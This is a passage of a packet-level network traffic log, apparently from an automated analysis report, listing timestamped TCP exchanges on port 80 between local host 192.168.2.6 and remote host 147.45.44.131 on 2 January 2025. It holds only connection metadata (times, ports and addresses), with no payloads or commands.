Jan 2, 2025 19:14:18.551572084 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551578999 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551589966 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551594973 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551599979 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551600933 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551613092 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551621914 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551630020 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551636934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551644087 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551681995 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551688910 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551695108 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551707029 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551713943 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551721096 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551728964 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551759005 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551791906 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551798105 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551805019 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551810026 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551816940 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551822901 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551829100 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551829100 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551857948 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551868916 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551881075 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551887035 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551892996 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551907063 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551908970 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551949024 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551960945 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551964998 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.551968098 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551973104 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551980019 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551985979 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551992893 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.551994085 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.552027941 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.552083015 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.552094936 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.552100897 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.552107096 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.552114964 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.552119970 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.552125931 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.552131891 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.552138090 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.552144051 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.552150011 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.552150965 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.552160978 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.552166939 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.552170992 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.552194118 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.552220106 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.552232027 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.552242994 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.552247047 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.552253962 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.552289963 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.552315950 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.553201914 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.553219080 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.553224087 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.553284883 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.553291082 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.553299904 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.553306103 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.553369045 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.553390026 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.553395987 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.553401947 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.553406954 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.553412914 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.553425074 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.553430080 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.553436041 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.553436041 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.553447962 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.553462029 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.553474903 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.553482056 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.553486109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.553487062 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.553519011 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.553519011 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.554841995 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.554963112 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.554969072 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.554975986 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.554980993 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.554987907 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.555003881 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.555006027 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.555012941 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.555021048 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.555021048 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.555027008 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.555033922 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.555038929 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.555044889 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.555059910 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.555094957 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.572381020 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.593790054 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.593815088 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.593842030 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.593847990 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.593867064 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.593868017 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.593873024 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.593878031 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.593892097 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.593961000 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.593961000 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.640192986 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.640202999 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.640222073 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.640228987 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.640234947 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.640242100 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.640256882 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.640260935 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.640269041 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.640296936 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.640343904 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.641205072 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641210079 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641221046 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641227007 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641252041 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641258955 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641273975 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641275883 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.641279936 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641290903 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641299009 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.641299009 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641313076 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641319036 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.641341925 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.641694069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641700029 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641715050 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641721010 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641735077 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641737938 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.641741991 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641753912 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641768932 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641776085 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.641777992 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641783953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641792059 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641803026 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.641818047 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.641844034 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641858101 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641863108 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.641865015 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641875982 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641881943 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641901016 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.641983032 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.641994953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642003059 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642008066 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642019987 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642029047 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642035961 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642044067 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642050028 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642051935 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642059088 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642066956 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642074108 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642088890 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642090082 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642091990 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642097950 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642110109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642124891 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642139912 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642141104 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642148972 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642157078 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642163038 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642168999 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642179966 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642182112 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642191887 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642198086 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642200947 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642206907 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642215014 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642247915 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642249107 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642255068 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642266989 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642271996 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642277956 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642287016 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642287016 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642302036 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642312050 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642318010 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642318964 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642326117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642332077 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642337084 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642369032 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642390013 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642421007 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642433882 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642446995 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642451048 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642457962 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642469883 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642473936 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642477989 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642491102 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642494917 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642498016 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642513990 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642513990 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642529964 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642529011 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642541885 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642546892 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642553091 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642560005 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642573118 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642577887 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642580032 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642586946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642592907 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642604113 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642606020 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642611027 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.642627001 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.642663002 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.643810987 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.643815994 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.643822908 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.643857956 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.643865108 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.643876076 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.643883944 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.643909931 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.643925905 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.643932104 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.643943071 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.643966913 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.643980026 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.643986940 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.643996000 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.644001961 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.644006014 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.644009113 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.644021988 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.644025087 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.644027948 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.644040108 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.644045115 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.644047022 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.644092083 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.644092083 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.645409107 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.645417929 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.645423889 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.645428896 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.645435095 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.645451069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.645453930 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.645458937 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.645464897 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.645476103 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.645481110 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.645490885 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.645498037 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.645504951 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.645514011 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.645523071 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.645528078 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.645535946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.645550013 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.645555973 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.645580053 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.684324980 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.684393883 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.684398890 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.684410095 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.684416056 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.684426069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.684432030 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.684444904 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.684452057 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.684453964 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.684498072 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.733846903 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.733870983 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.733880997 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.733922005 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.733954906 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.733963013 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.733977079 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.733984947 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734004974 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734006882 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734014034 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734019995 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734029055 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734031916 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734040976 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734055042 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734055042 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734092951 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734121084 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734128952 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734147072 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734163046 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734165907 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734170914 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734181881 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734186888 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734191895 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734200001 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734201908 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734208107 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734214067 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734230995 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734354019 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734359980 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734371901 CET	80	49734	147.45.44.131	192.168.2.6
